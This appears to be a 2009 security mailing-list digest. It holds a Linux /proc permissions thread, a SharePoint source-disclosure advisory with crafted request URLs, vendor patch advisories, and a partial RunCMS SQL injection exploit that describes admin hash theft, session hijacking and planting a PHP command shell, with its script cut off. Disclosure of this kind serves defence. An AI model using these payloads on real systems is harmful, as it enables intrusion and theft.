http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: /proc filesystem allows bypassing directory permissions on Linux

[Anton Ivanov]

Following your logic we should all abandon directory permissions and
stick to file-only ones. Hmm... Dunno, probably the blood level in my
coffee subsystem is too high this morning, but I do not quite relish
that idea.

There is a very valid case of trying to restrict access via directory
permissions. Suppose you have a binary program that uses its own
directory but for whatever reason keeps scribbling in files with wrong
permission in it. While I cannot think of a current example, out of the
older ones at least one of the Word Perfect versions for linux used to
do that. 

By tightening up the protection on the directory the sysadmin can
mitigate the problem. It is in fact the standard way of doing this. 

On Sat, 2009-10-24 at 01:12 +0400, Dan Yefimov wrote:
> On 24.10.2009 0:35, Matthew Bergin wrote:
> > doesnt look like the original owner is trying to write to it. Shows it
> > cant, it had guest write to it via the proc folders bad permissions.
> > Looks legitimate
> >
> Please tell me, who issued 'chmod 0666 unwritable_file'? Was that an 
> attacker? 
> No, that was the owner of 'unwritable_file', nobody else. What the 0666 file 
> mode means? It means, that everybody can write to the file, can't he? So why 
> do 
> you believe that pretension legitimate?
-- 
   Understanding is a three-edged sword:
your side, their side, and the truth. --Kosh Naranek

A. R. Ivanov
E-mail:  aiva...@sigsegv.cx
WWW: http://www.sigsegv.cx/
pub 1024D/DDE5E715 2002-03-03 Anton R. Ivanov 
Fingerprint: C824 CBD7 EE4B D7F8 5331  89D5 FCDA 572E DDE5 E715

SharePoint 2007 ASP.NET Source Code Disclosure

[Daniel Martin]

===
Summary
===
Name: SharePoint Team Services source code disclosure through download
facility
Release Date: 21 October 2009
Reference: NGS00532
Discover: Daniel Martin 
Vendor: Microsoft
Systems Affected: SharePoint 2007 (12.0.0.6219, 12.0.0.4518 and
possibly others)
Risk: Medium
Status: Reported


TimeLine

Discovered: 17 September 2008
Released:  2 October 2008
Approved:  3 October 2008
Reported:  8 October 2008
Fixed:
Published: 23 October 2009

===
Description
===
Microsoft SharePoint is a browser-based collaboration and document
management platform. It can be used to host web sites that access shared
workspaces and documents, as well as specialized applications like wikis
and blogs from a browser.

It was found that the download facility of Microsoft SharePoint Team
Services can be abused to reveal the source code of ASP.NET files.

=
Technical Details
=
SharePoint Team Services stores a variety of files in its backend
database. These files include site templates, custom ASP.NET pages and
documents that users of the application upload to the document libraries.

Insufficient validation in the input parameters of the download facility
can result in the source code of ASP.NET files being disclosed. For
example, the source code of the default ASP.NET page available after
installing the product (http://server/Pages/Default.aspx) can be obtained
by issuing the following request:

http://server/_layouts/download.aspx?SourceUrl=/Pages/Default.aspx&Source=http://server/Pages/Default.aspx&FldUrl=

In order to retrieve the source code any file stored in the backend
database (files whose path does not start with /_layout/) it is sufficient
to craft a request that follows this pattern:

http://server/_layouts/download.aspx?SourceUrl=&Source=&FldUrl=

This bug can result in disclosure of sensitive information that can be
used by an attacker targeting the system. For instance the PublicKeyTokens
of the ASP.NET assemblies deployed in the server can be revealed enabling
an attacker to upload a malicious file that makes use of them.

===
Fix Information
===
It is advised that the source code of any bespoke ASP.NET file deployed
in the system is reviewed to ensure that no sensitive information would
be reviewed if an attacker abuses the download facility of the framework.
Additionally access on a need-to-know basis to SharePoint systems is
advised.

No workarounds exist at this point. However Microsoft has been contacted
so they can produce a fix for their customers. NGS has been advised that
although this issue will not be patched until the next release of
SharePoint, Microsoft has addressed the design issues around it in a
Knowledge Base article (KB976829) about security considerations when
running SharePoint that can be found at:

http://go.microsoft.com/fwlink/?LinkId=167936

NGS Software wants to thank the MSRC team and Charles Weidner in
particular for their support in clarifying this issue.

NGSSoftware Insight Security Research
http://www.ngssoftware.com/
http://www.databasesecurity.com/
http://www.nextgenss.com/
+44(0)208 401 0070

--
E-MAIL DISCLAIMER

The information contained in this email and any subsequent
correspondence is private, is solely for the intended recipient(s) and
may contain confidential or privileged information. For those other than
the intended recipient(s), any disclosure, copying, distribution, or any
other action taken, or omitted to be taken, in reliance on such
information is prohibited and may be unlawful. If you are not the
intended recipient and have received this message in error, please
inform the sender and delete this mail and any attachments.

The views expressed in this email do not necessarily reflect NGS policy.
NGS accepts no liability or responsibility for any onward transmission
or use of emails and attachments having left the NGS domain.

NGS and NGSSoftware are trading names of Next Generation Security
Software Ltd. Registered office address: Manchester Technology Centre,
Oxford Road, Manchester, M1 7EF with Company Number 04225835 and
VAT Number 783096402

Re: /proc filesystem allows bypassing directory permissions on Linux

[Derek Martin]

On Fri, Oct 23, 2009 at 11:57:58PM +0400, Dan Yefimov wrote:
> That can hardly be called a real security hole, since the behaviour
> described above is expected, and is as it was conceived by design.

Lots of security holes can fall into that category!  The code matches
its design, and works as expected... it's just that the author had no
idea what he was getting himself into.  =8^)  

> If the file owner in fact allows writing to it, why should Linux
> prevent that from happening?

Because securing a file by securing directories that lead to it is a
valid and important (and expected) feature of file access semantics.

That said, the user in the example already has access to the file (in
a running process), and would be able to do so again, *if he had
access to a directory where the file was hard-linked*.  Pavel
described that the sysadmin checked for that, but even if this worked
as expected, there's a race condition where the user could create the
hard link after the sysadmin checked, but before the permissions were
corrected.  Unlikely, I know... but possible.

There's a nearly identical case that works in all Unixen, AFAIK:  You
have /a/b/file1, which is writable to user1.  The user has permission
to descend /a and /a/b.  At some point user1 does a cd to /a/b.  Then
at some later point, while the user still has that shell open, the
sysadmin closes off permission to /a, and user1 no longer can descend
it.  But it doesn't matter... user1 has already got a shell open in
/a/b, and therefore full access to all the files there which are not
otherwise protected against that user's access.  user1 can copy them,
mail them to friends, make hard links to them, etc  Anything
desired, until that shell is closed.  This case won't work if you
close off /a/b, because you need to be able to modify the directory in
order to write to the file (I'm getting to that)...

I don't think what Pavel described is a very serious hole, but it *IS*
a hole, because:

1. It circumvents the fact that to write to a file, you MUST be able
to write to its directory, so that the file attributes can be updated.
That's an important part of accountability.

2. One of two things must be true: either the real directory itself is
not updated when the file is written (likely), or the directory IS
modified when the file is written, despite the fact that the user does
not have access to update the directory.  Either way, BAD LINUX.

I think there is one other legitimate answer to your question above:
If the person who created/accessed the file is an unauthorized user,
and the person who closed off directory access was responding to the
intrusion.  This includes a user who is authorized to use the system,
but has gained access to some part of the system that should not be
accessible, either by accident or by willful misdeed.  Of course,
there are likely other, better ways to respond than to simply close
off the directory permissions... but someone who is not expert in this
aspect of the behavior of the Linux kernel has every reason to think
that doing that would work. It's not documented anywhere a typical
sysadmin is likely to look that this method of filesystem permission
circumvention exists.

The most disturbing aspect of this is that the user went from having
read access, which was allowed, to getting write access, which should
never have been allowed.  It wasn't allowed with the old permissions,
and if the directory permissions had not been circumvented, it
wouldn't have been allowed with the new permissions.

I still think it's not very serious, because in order to exploit this,
you need:

 - The people responsible for managing access to sensitive data to
   mishandle the initial protections on the file(s)
 - Those same people to later protect the so-called sensitive file in
   a way that doesn't really make a whole lot of sense
 - A process that already has an affected file open before the bizarre
   change in protections
 - The sysadmins to fail to notice people are accessing the files they
   just protected.  You'd think if they just realized they had left
   permissions too open (and the data really was sensitive), they'd be
   paying attention...

That's a lot of crazy. =8^)  If your data really *is* sensitive, and
this happens, you probably need to fire your sysadmin.  Probably it
should still be fixed though.  I'm not sure what the point of making
the files accessible via /proc is...  It's good that open files are
*recorded* there, but making the contents accessible from there seems
unnecessary (and bad) to me, at least unless said access first
determines the canonical file system path to the file (i.e. the one
that the process used to open it), and checks the file access as it
would normally, using that path.  Still, I doubt I'll ever see this on
any system I manage.
 
If it were possible for a different user who wasn't already accessing
the file to get access this way, that would be a very different
matter...

-- 
Derek D. Marti

RunCms v.2M1 /modules/forum/post.php - 'forum' remote semi-blind SQL Injection Exploit

[nospam]

http://retrogod.altervista.org/

 

software site: http://www.runcms.org/

 

vulnerable code in /modules/forum/post.php near lines 16-34 :

 

...

if ( empty($_POST['forum']) ) {

redirect_header("index.php", 2, _MD_ERRORFORUM);

exit();

}

else if ( empty($_POST['message']) ) {

redirect_header("javascript:history.go(-1)", 2, _MD_ERRORMESSAGE);

exit();

}

else {

$sql = "SELECT * FROM ".$bbTable['forums']." WHERE forum_id = 
".$_POST['forum'].""; // < !!!

if (!$result = $db->query($sql)) {

redirect_header("index.php", 2, _MD_CANTGETFORUM);

exit();

}

...

 

'forum' variable is taken from $_POST[] array and inserted in a sql query 
without

prior santization and without being surrounded by quotes.

 

Then you can subsequently manipulate this query in 
/modules/forum/class/class.permissions.php by passing

another 'UNION SELECT' as first argument of the 'UNION SELECT' passed to 
post.php

(a little bit complex uh? $forum_id is user controlled ...)

 

100-102:

...

if ($user_id > 0) {

$sql = "SELECT * FROM ".$bbTable['forum_access']." WHERE forum_id=$forum_id 
AND user_id=$user_id";

...

 

the result is that you can extract the sha1 hash of the admin user and the 
corrispondent salt.

If you cannot decrypt the hash... you can always hijack an active session 
(meaning the admin user

must be logged in) by building the admin cookie, no check ex. on ip address.

 

To do that you need the table prefix. A default one does not exist, but 
exists a

'suggested one' when installing the cms, which is 'runcms', but an empty 
one is not allowed.

However with MySQL 5.0 you can have the table prefix by interrogating 
information_schema.TABLES

 

This whole thing works regardless of php.ini settings but you need:

 

- a valid user account

 

Register!

 

- an existing row in [prefix]_forum_forums table

- an existing row in [prefix]_forum_forum_access table

 

which is very possible against a runcms installation with a working and 
active forum.

 

Also, you could manipulate the query in post.php to export a php shell 
through

'INTO DUMPFILE' method, but you need FILE privilege and magic_quotes_gpc = 
off.

 

It's also possible to disclose absolute path in certain conditions (see 
error_reporting)

by polluting a preg_match() argument:

 

http://[host]/[path_to_runcms]/modules/contact/index.php?op[]=1

http://[host]/[path_to_runcms]/userinfo.php?uid[]=1

 

 

Final notes:

This sql injection vulnerability has to be considerated as high risk 
because as ADMIN you

can inject php code by the Filter/Banning functionalities, ex:

 

click 'Administration Menu', then 'System Admin', then click on the 
Filters/Banning icon,

then 'Prohibited: Emails'

Now you can edit the /modules/system/cache/bademails.php file

Type in:

 





 

then you launch commands:

 


http://[host]/[path_to_runcms]/modules/system/cache/bademails.php?c=system(dir);

 

you can do the same with all filter utilities ...

 

*/

 

$err[0] = "[!] This script is intended to be launched from the cli!";

$err[1] = "[!] You need the curl extesion loaded!";

 

function my_header() {

print 
("\x52\x75\x6e\x43\x6d\x73\x20\x76\x2e\x32\x6d\x31\x20\x2f\x6d\x6f\x64\x75\x6c\x65\x73\x2f\x66\x6f\x72\x75\x6d\x2f\x70\x6f\x73\x74\x2e\x70\x68\x70\x20\x2d\x20\x27\x66\x6f\x72\x75\x6d\x27\x20\x72\x65\x6d\x6f\x74\x65\x20\x73\x65\x6d\x69\x2d\x62\x6c\x69\x6e\x64\x20\x53\x51\x4c\x20\x49\x6e\x6a\x65\x63\x74\x69\x6f\x6e\x20\x45\x78\x70\x6c\x6f\x69\x74\x20\xd\xa\x62\x79\x20\x4e\x69\x6e\x65\x3a\x53\x69\x74\x75\x61\x74\x69\x6f\x6e\x73\x3a\x47\x72\x6f\x75\x70\x3a\x3a\x62\x6f\x6f\x6b\x6f\x6f\xd\xa\x73\x69\x74\x65\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x72\x65\x74\x72\x6f\x67\x6f\x64\x2e\x61\x6c\x74\x65\x72\x76\x69\x73\x74\x61\x2e\x6f\x72\x67\x2f\xd\xa\n");

}

my_header();

if (php_sapi_name() <> "cli") {

die($err[0]);

}

if (!extension_loaded('curl')) {

$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :

false;

if ($win) {

!dl("php_curl.dll") ? die($err[1]) :

 print("[*] curl loaded\n");

} else {

!dl("php_curl.so") ? die($err[1]) :

 print("[*] curl loaded\n");

}

}

 

function syntax() {

print (

"Syntax: php ".$argv[0]." [host] [path] [user] [pass] [OPTIONS] \n". 
"Options:
\n". "--port:[port] - specify a port
  \n". "default->80 
\n". "--prefix  - try

Re: /proc filesystem allows bypassing directory permissions on Linux

[Daryl Tester]

Pavel Machek wrote:


So what did happen? User guest was able to work around directory
permissions in the background, using /proc filesystem.

gu...@toy:~$ bash 3< /tmp/my_priv/unwritable_file 


Although having an already open handle to the file is kind of cheating. :-)
(well, it isn't, but I think it's a mitigating factor).


# ...until we take a way around it with /proc filesystem. Oops.
gu...@toy:/tmp/my_priv$ echo got you > /proc/self/fd/3 


But I understand that the check on the parent directory of the file for
accessibility appears to be missing here, at least to get the same behaviour
as relative file opening.  Despite what Dan says regarding the behaviour as
"by design", I find the /proc/fd system under Linux to be, erm, "ad hoc", and
the semantics not well documented (if at all).  The Linux implementation seems
to be more "filename based" rather than file descriptor (which appears to be
the BSD model), which has tripped me up before (e.g.
).


--
Regards,
 Daryl Tester

"Scheme is an exotic sports car. Fast. Manual transmission. No radio.
Common Lisp is Howl's Moving Castle."
 -- Steve Yegge, comparing Lisp families to cars.

Novell eDirectory 8.8 SP5 for Windows - Buffer Overflow Vulnerability

[karakorsankara]

Product: 

Novell eDirectory 8.8 SP5 for Windows

Vulnerability Type: 

Buffer Overflow

Attack Vector: 

Network Request

Where: 

>From Remote or Local Network

Solution: 

Unpatched

Description:

Vulnerability is in dhost module. 
A malformed http get request (to /dhost/modules?L:) cause a buffer overflow,
Successful exploitation of the vulnerability may allow execution of arbitrary 
code.

Debugger Results of Vulnerability and PoC Exploit:

http://tcc.hellcode.net/sploitz/novelbof.txt

Original Advisory:

http://tcc.hellcode.net/advisories/hellcode-adv004.txt

Credit to:

Hellcode Research
karak0rsan , murderkey

[SECURITY] [DSA 1917-1] New mimetex packages fix several vulnerabilities

[Giuseppe Iuculano]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- 
Debian Security Advisory DSA-1917-1  secur...@debian.org
http://www.debian.org/security/  Giuseppe Iuculano
October 24, 2009   http://www.debian.org/security/faq
- 

Package: mimetex
Vulnerability  : several vulnerabilities
Problem type   : remote (local)
Debian-specific: no
Debian bug : 537254
CVE Ids: CVE-2009-1382 CVE-2009-2459


Several vulnerabilities have been discovered in mimetex, a lightweight
alternative to MathML. The Common Vulnerabilities and Exposures project
identifies the following problems:

CVE-2009-1382

Chris Evans and Damien Miller, discovered multiple stack-based buffer overflow.
An attacker could execute arbitrary code via a TeX file with long picture,
circle, input tags.

CVE-2009-2459

Chris Evans discovered that mimeTeX contained certain directives that may be
unsuitable for handling untrusted user input. A remote attacker can obtain
sensitive information.


For the oldstable distribution (etch), these problems have been fixed in
version 1.50-1+etch1.

Due to a bug in the archive system, the fix for the stable distribution
(lenny) will be released as version 1.50-1+lenny1 once it is available.

For the testing distribution (squeeze), and the unstable distribution (sid),
these problems have been fixed in version 1.50-1.1.


We recommend that you upgrade your mimetex packages.


Upgrade instructions
- 

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 4.0 alias etch
- ---

Debian (oldstable)
- --

Oldstable updates are available for alpha, amd64, arm, hppa, i386, ia64, mips, 
mipsel, powerpc, s390 and sparc.

Source archives:

  
http://security.debian.org/pool/updates/main/m/mimetex/mimetex_1.50-1+etch1.dsc
Size/MD5 checksum:  584 4c4ac225a147438ea1bb7be1b0f65019
  
http://security.debian.org/pool/updates/main/m/mimetex/mimetex_1.50-1+etch1.diff.gz
Size/MD5 checksum: 5318 5d3a2a06fecf83d573c8cbb9c778ddf0
  
http://security.debian.org/pool/updates/main/m/mimetex/mimetex_1.50.orig.tar.gz
Size/MD5 checksum:   401817 cdda954fc3a436daa8345ecbfdb084c3

alpha architecture (DEC Alpha)

  
http://security.debian.org/pool/updates/main/m/mimetex/mimetex_1.50-1+etch1_alpha.deb
Size/MD5 checksum:   154406 b525a79c4c6e92ebe5d6853261edb7d9

amd64 architecture (AMD x86_64 (AMD64))

  
http://security.debian.org/pool/updates/main/m/mimetex/mimetex_1.50-1+etch1_amd64.deb
Size/MD5 checksum:   151848 b01a4cf79985dbc98aa468b27355c005

arm architecture (ARM)

  
http://security.debian.org/pool/updates/main/m/mimetex/mimetex_1.50-1+etch1_arm.deb
Size/MD5 checksum:   150546 8041ce35d9d2457999e217bd9ecff233

hppa architecture (HP PA RISC)

  
http://security.debian.org/pool/updates/main/m/mimetex/mimetex_1.50-1+etch1_hppa.deb
Size/MD5 checksum:   148156 0f7d099d12f46f9c74a9d4863cacb676

i386 architecture (Intel ia32)

  
http://security.debian.org/pool/updates/main/m/mimetex/mimetex_1.50-1+etch1_i386.deb
Size/MD5 checksum:   143668 55db42c430e79ebd525679d72c8556f8

ia64 architecture (Intel ia64)

  
http://security.debian.org/pool/updates/main/m/mimetex/mimetex_1.50-1+etch1_ia64.deb
Size/MD5 checksum:   188604 5f4c8c896998e82797bba6a0997d550c

mips architecture (MIPS (Big Endian))

  
http://security.debian.org/pool/updates/main/m/mimetex/mimetex_1.50-1+etch1_mips.deb
Size/MD5 checksum:   155176 c080d72fef8acd63fa27b0a5cf7688bd

mipsel architecture (MIPS (Little Endian))

  
http://security.debian.org/pool/updates/main/m/mimetex/mimetex_1.50-1+etch1_mipsel.deb
Size/MD5 checksum:   156068 96a3663cab62464f23ea747f679fbb57

powerpc architecture (PowerPC)

  
http://security.debian.org/pool/updates/main/m/mimetex/mimetex_1.50-1+etch1_powerpc.deb
Size/MD5 checksum:   145470 84ec68d2dcf0378f634f7cdc48c272d2

s390 architecture (IBM S/390)

  
http://security.debian.org/pool/updates/main/m/mimetex/mimetex_1.50-1+etch1_s390.deb
Size/MD5 checksum:   157512 493034d85d335c5c48358aac4fa5365f

sparc architecture (Sun SPARC/UltraSPARC)

  
http://security.debian.org/pool/updates/main/m/mimetex/mimetex_1.50-1+etch1_sparc.deb
Size/MD5 checksum:   146950 657d93204c670f44c337d85b5fa9a67b


  These files will probably be moved into the stable distribution on
  its next update.

- 
-
Fo

[SECURITY] [DSA 1916-1] New kdelibs packages fix SSL certificate verification weakness

[Giuseppe Iuculano]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- 
Debian Security Advisory DSA-1916-1  secur...@debian.org
http://www.debian.org/security/  Giuseppe Iuculano 
October 23, 2009   http://www.debian.org/security/faq
- 

Package: kdelibs
Vulnerability  : insufficient input validation
Problem type   : remote
Debian-specific: no
Debian bug : 546212
CVE ID : CVE-2009-2702

Dan Kaminsky and Moxie Marlinspike discovered that kdelibs, core libraries from
the official KDE release, does not properly handle a '\0' character in a domain
name in the Subject Alternative Name field of an X.509 certificate, which allows
man-in-the-middle attackers to spoof arbitrary SSL servers via a crafted
certificate issued by a legitimate Certification Authority.


For the oldstable distribution (etch), this problem has been fixed in
version 4:3.5.5a.dfsg.1-8etch3

Due to a bug in the archive system, the fix for the stable distribution
(lenny), will be released as version 4:3.5.10.dfsg.1-0lenny3 once it is
available.

For the testing distribution (squeeze), and the unstable distribution (sid),
this problem has been fixed in version 4:3.5.10.dfsg.1-2.1


We recommend that you upgrade your kdelibs pakcages.

Upgrade instructions
- 

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 4.0 alias etch
- ---

Debian (oldstable)
- --

Oldstable updates are available for alpha, amd64, arm, hppa, i386, ia64, mips, 
mipsel, powerpc, s390 and sparc.

Source archives:

  
http://security.debian.org/pool/updates/main/k/kdelibs/kdelibs_3.5.5a.dfsg.1.orig.tar.gz
Size/MD5 checksum: 18684663 a3f13367dcadef4749ba0173c8bc5f8e
  
http://security.debian.org/pool/updates/main/k/kdelibs/kdelibs_3.5.5a.dfsg.1-8etch3.diff.gz
Size/MD5 checksum:   601207 616c29ec7f685e9b10c802eb6879d912
  
http://security.debian.org/pool/updates/main/k/kdelibs/kdelibs_3.5.5a.dfsg.1-8etch3.dsc
Size/MD5 checksum: 1636 430e1a184def8c61269ebd4236ecf902

Architecture independent packages:

  
http://security.debian.org/pool/updates/main/k/kdelibs/kdelibs-data_3.5.5a.dfsg.1-8etch3_all.deb
Size/MD5 checksum:  8607892 a1326c3e10f4a1696b9d73115b417061
  
http://security.debian.org/pool/updates/main/k/kdelibs/kdelibs_3.5.5a.dfsg.1-8etch3_all.deb
Size/MD5 checksum:34648 f4697ef70a2bc020b1c633c92981e81f
  
http://security.debian.org/pool/updates/main/k/kdelibs/kdelibs4-doc_3.5.5a.dfsg.1-8etch3_all.deb
Size/MD5 checksum: 40162414 83be81e20b84b786c47a3351a3600c77

alpha architecture (DEC Alpha)

  
http://security.debian.org/pool/updates/main/k/kdelibs/kdelibs4c2a_3.5.5a.dfsg.1-8etch3_alpha.deb
Size/MD5 checksum: 11344344 fcf8158679c6b02b265065fba7249b83
  
http://security.debian.org/pool/updates/main/k/kdelibs/kdelibs-dbg_3.5.5a.dfsg.1-8etch3_alpha.deb
Size/MD5 checksum: 47410300 140679244bea5593cd7204757acffaa8
  
http://security.debian.org/pool/updates/main/k/kdelibs/kdelibs4-dev_3.5.5a.dfsg.1-8etch3_alpha.deb
Size/MD5 checksum:  1386002 759f49b6e4f61577f327f491eebbef2b

amd64 architecture (AMD x86_64 (AMD64))

  
http://security.debian.org/pool/updates/main/k/kdelibs/kdelibs-dbg_3.5.5a.dfsg.1-8etch3_amd64.deb
Size/MD5 checksum: 27020178 9b823ef23ec5a6258bb9964dfd73
  
http://security.debian.org/pool/updates/main/k/kdelibs/kdelibs4-dev_3.5.5a.dfsg.1-8etch3_amd64.deb
Size/MD5 checksum:  1341570 4c1379c6a5a941996bcbb2e28e0337d2
  
http://security.debian.org/pool/updates/main/k/kdelibs/kdelibs4c2a_3.5.5a.dfsg.1-8etch3_amd64.deb
Size/MD5 checksum: 10400122 b69bbf19d34a6baf697f1ea837ffc861

arm architecture (ARM)

  
http://security.debian.org/pool/updates/main/k/kdelibs/kdelibs4c2a_3.5.5a.dfsg.1-8etch3_arm.deb
Size/MD5 checksum:  9303052 0927e59f8992bb7038484aecd13fdae2
  
http://security.debian.org/pool/updates/main/k/kdelibs/kdelibs-dbg_3.5.5a.dfsg.1-8etch3_arm.deb
Size/MD5 checksum: 46416584 0f497318d46b1964aa4fb6ebb33fdd30
  
http://security.debian.org/pool/updates/main/k/kdelibs/kdelibs4-dev_3.5.5a.dfsg.1-8etch3_arm.deb
Size/MD5 checksum:  1382294 ce520266aaa74f10d4bd1e0a3920f3b4

hppa architecture (HP PA RISC)

  
http://security.debian.org/pool/updates/main/k/kdelibs/kdelibs4c2a_3.5.5a.dfsg.1-8etch3_hppa.deb
Size/MD5 checksum: 11295914 37e40fc7af826345ca0da0e57b65fd37
  
http://security.debian.org/pool/updates/main/k/kdelibs/kdelibs-dbg_3.5.5a.dfsg.1-8etch3_hppa.deb

[SECURITY] [DSA 1912-2] New advi packages fix arbitrary code execution

[Steffen Joeris]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- 
Debian Security Advisory DSA-1912-2  secur...@debian.org
http://www.debian.org/security/  Steffen Joeris
October 23, 2009   http://www.debian.org/security/faq
- 

Package: advi
Vulnerability  : integer overflow
Problem type   : local (remote)
Debian-specific: no
CVE Ids: CVE-2009-3296 CVE-2009-2660

Due to the fact that advi, an active DVI previewer and presenter,
statically links against camlimages it was neccessary to rebuilt it in
order to incorporate the latest security fixes for camlimages, which
could lead to integer overflows via specially crafted TIFF files
(CVE-2009-3296) or GIFF and JPEG images (CVE-2009-2660).


For the stable distribution (lenny), these problems have been fixed in
version 1.6.0-13+lenny2.

Due to a bug in the archive system, the fix for the oldstable
distribution (etch) cannot be released at the same time. These problems
will be fixed in version 1.6.0-12+etch2, once it is available.

For the testing distribution (squeeze) and the unstable distribution
(sid), these problems have been fixed in version 1.6.0-14+b1.


We recommend that you upgrade your advi package.


Upgrade instructions
- 

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 5.0 alias lenny
- 

Debian (stable)
- ---

Stable updates are available for alpha, amd64, arm, armel, hppa, i386, ia64, 
mips, mipsel, powerpc, s390 and sparc.

Source archives:

  
http://security.debian.org/pool/updates/main/a/advi/advi_1.6.0-13+lenny2.diff.gz
Size/MD5 checksum:51609 21aed220ab54cc689a7ef13e51f801d9
  http://security.debian.org/pool/updates/main/a/advi/advi_1.6.0-13+lenny2.dsc
Size/MD5 checksum: 1655 b3702857e76699041f5313515c4ae59c
  http://security.debian.org/pool/updates/main/a/advi/advi_1.6.0.orig.tar.gz
Size/MD5 checksum: 11436152 da0e71cbc99a8def27873d4f3c756fa6

Architecture independent packages:

  
http://security.debian.org/pool/updates/main/a/advi/advi-examples_1.6.0-13+lenny2_all.deb
Size/MD5 checksum:  3896628 78cbd5f431332e48bd6f6838c71c4bd6

amd64 architecture (AMD x86_64 (AMD64))

  
http://security.debian.org/pool/updates/main/a/advi/advi_1.6.0-13+lenny2_amd64.deb
Size/MD5 checksum:   738554 ff1868ddb0510d02db84f2c2a3fcdd36

arm architecture (ARM)

  
http://security.debian.org/pool/updates/main/a/advi/advi_1.6.0-13+lenny2_arm.deb
Size/MD5 checksum:  1315080 5abb37dd7194607f07b956826830e052

armel architecture (ARM EABI)

  
http://security.debian.org/pool/updates/main/a/advi/advi_1.6.0-13+lenny2_armel.deb
Size/MD5 checksum:  1317700 76f406d64477573fee49c1403914f525

hppa architecture (HP PA RISC)

  
http://security.debian.org/pool/updates/main/a/advi/advi_1.6.0-13+lenny2_hppa.deb
Size/MD5 checksum:  1328012 8d239035d7195a3da2d88a0ce1004df8

i386 architecture (Intel ia32)

  
http://security.debian.org/pool/updates/main/a/advi/advi_1.6.0-13+lenny2_i386.deb
Size/MD5 checksum:   873922 0ed738039c6877f8a98e462b7990e0fe

ia64 architecture (Intel ia64)

  
http://security.debian.org/pool/updates/main/a/advi/advi_1.6.0-13+lenny2_ia64.deb
Size/MD5 checksum:  1366332 8113261f68b8ab1fa0a560cda28dddfb

mips architecture (MIPS (Big Endian))

  
http://security.debian.org/pool/updates/main/a/advi/advi_1.6.0-13+lenny2_mips.deb
Size/MD5 checksum:  1319406 9108849fdeed00e2848511b4da97f405

mipsel architecture (MIPS (Little Endian))

  
http://security.debian.org/pool/updates/main/a/advi/advi_1.6.0-13+lenny2_mipsel.deb
Size/MD5 checksum:  1317202 87f285d20318111851008f04698f17f0

powerpc architecture (PowerPC)

  
http://security.debian.org/pool/updates/main/a/advi/advi_1.6.0-13+lenny2_powerpc.deb
Size/MD5 checksum:   862788 260fba666be7c705daf8a4387692aff7

sparc architecture (Sun SPARC/UltraSPARC)

  
http://security.debian.org/pool/updates/main/a/advi/advi_1.6.0-13+lenny2_sparc.deb
Size/MD5 checksum:   851648 b60cb2ad932c4d094b595a57a632afb8


  These files will probably be moved into the stable distribution on
  its next update.

- 
-
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security 
dists/stable/updates/main
Mailing list: debian-security-annou...@lists.debian.org
Package info: `apt-cache show ' and http://package

Re: /proc filesystem allows bypassing directory permissions on Linux

[psz]

Dear Pavel,

> ... can you see a way to write to that file when /proc is unmounted?

While there is legitimate access to do so (after file is created and
before pavel issues 'chmod 700 /tmp/my_priv'), guest to use commands:

  ln /tmp/my_priv/unwritable_file /tmp/hardlink-to-object

and then use that instead of /proc/self/fd/3, should work same as
original "attack" (and am curious whether 'link counts' shown by
'ls -l /tmp/my_priv/unwritable_file' are 1 or 2 in each case).

Cheers, Paul

Paul Szabo   p...@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of SydneyAustralia

[ MDVSA-2009:288 ] proftpd

[security]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 ___

 Mandriva Linux Security Advisory MDVSA-2009:288
 http://www.mandriva.com/security/
 ___

 Package : proftpd
 Date: October 23, 2009
 Affected: 2009.0, 2009.1, Corporate 3.0, Corporate 4.0,
   Enterprise Server 5.0
 ___

 Problem Description:

 A vulnerability has been identified and corrected in proftpd:
 
 The mod_tls module in proftpd < 1.3.2b is vulnerable to a similar
 security issue as CVE-2009-2408.
 
 This update fixes these vulnerability.
 ___

 References:

 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2408
 http://bugs.proftpd.org/show_bug.cgi?id=3275
 ___

 Updated Packages:

 Mandriva Linux 2009.0:
 a2cb70fdff925c8bd5aa1548d2c5a7c1  
2009.0/i586/proftpd-1.3.2-0.2mdv2009.0.i586.rpm
 a8ac898293dbd06032efe80bace9e49f  
2009.0/i586/proftpd-devel-1.3.2-0.2mdv2009.0.i586.rpm
 92512706bd5035ac4ef754b0ae17bbb3  
2009.0/i586/proftpd-mod_autohost-1.3.2-0.2mdv2009.0.i586.rpm
 b91619353f6d05435ce0f6af179287ae  
2009.0/i586/proftpd-mod_ban-1.3.2-0.2mdv2009.0.i586.rpm
 4e3957a9208a5560a3bd464e7daf1d80  
2009.0/i586/proftpd-mod_case-1.3.2-0.2mdv2009.0.i586.rpm
 610555908eb12a2b0e32fe08b8e7a28e  
2009.0/i586/proftpd-mod_ctrls_admin-1.3.2-0.2mdv2009.0.i586.rpm
 7e0fcb20ece88cd16dfe91d97ec1e7f8  
2009.0/i586/proftpd-mod_gss-1.3.2-0.2mdv2009.0.i586.rpm
 7f78a7eb942bf0b6077e7389d18ba073  
2009.0/i586/proftpd-mod_ifsession-1.3.2-0.2mdv2009.0.i586.rpm
 49800ece2b135a0003a649b6fa73cbe4  
2009.0/i586/proftpd-mod_ldap-1.3.2-0.2mdv2009.0.i586.rpm
 967351c5d9cfe5fbb10c4d6e8349bb11  
